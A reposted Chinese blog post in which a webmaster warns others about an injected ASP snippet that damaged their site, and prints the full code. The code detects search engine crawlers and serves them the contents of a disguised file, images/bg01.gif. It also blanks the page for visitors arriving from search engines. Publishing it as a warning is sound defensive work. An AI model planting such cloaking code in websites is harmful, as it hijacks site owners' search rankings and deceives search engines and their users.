一段让asp程序在搜素引擎打不开的代码
来源:互联网 发布:互联网行业工资 知乎 编辑:程序博客网 时间:2024/05/22 04:31
一段让asp程序在搜素引擎打不开的代码,把我的网站害苦了,现在把它的原形呈现如下,望广大站长朋友们及早防范:
<%function isspider()dim i,agent,searrayagent="agent:"&LCase(request.servervariables("http_user_agent"))searray=array("googlebot","baiduspider","sogouspider","yahoo","Sosospider")isspider= falsefor i=0 to ubound(searray) if (instr(agent,searray(i))>0) then isspider=truenextend functionfunction fromse()dim urlrefer,searray,iurlrefer="refer:"&LCase(request.ServerVariables("HTTP_REFERER"))fromse= falseif urlrefer="" then fromse= falsesearray=array("google","baidu","sogou","yahoo","soso")for i=0 to ubound(searray) if (instr(urlrefer,searray(i))>0) then fromse=truenextend functionif(isspider()) then dim myfso,fileurl,filecon,myfile fileurl=Server.MapPath("images/bg01.gif") Set myfso=Server.CreateObject("Scripting.FileSystemObject") if myfso.FileExists(fileurl) then Set myfile=myfso.OpenTextFile(fileurl, 1) filecon=myfile.readAll response.write(filecon) myfile.Close Set myfile=Nothing Set myfso=Nothing response.end end ifend if if (fromse()) then response.write("<br/>") response.endelseend if%>
- 一段让asp程序在搜素引擎打不开的代码
- 如何让一段程序在main函数之前执行的
- [java]让人尴尬的一段代码
- 让你安心在IE编写Javascript,并兼容Firefox的一段代码
- 一段ASP防采集的代码
- asp连接access数据库的一段代码
- 保存一段ASP动态包含的代码
- 一段可能危险的asp.net代码
- 如何让一段程序在main函数之前执行
- 如何让ajax执行完在执行下一段代码
- 如何让一段代码在 tomcat 启动时就被运行?
- 怎样让一段代码在主函数之前执行
- share一段采集论坛程序的代码
- 一段输出自身代码的好玩程序
- 单片机数字滤波 的 一段 代码程序
- 小程序里面的一段代码
- 一段用ASP查看ASP文件源码的程序.
- 一段用ASP查看ASP文件源码的程序
- 几种常用数据库优缺点比较
- C++函数调用内存分配机制
- mysql 事务隔离级别
- RTEMS 经验积累(一)
- OPENGL显示部分,莫名变慢处理
- 一段让asp程序在搜素引擎打不开的代码
- ubuntu tomcat
- Vim+ctags
- 2007 Office system 檔案格式 MIME 類型
- Knockout绑定语法
- 曲径通幽
- hdu 1026 Ignatius and the Princess I(简单的bfs+输出路径)(WA的代码)
- 文件服务器之一:NFS 服务器
- C++建议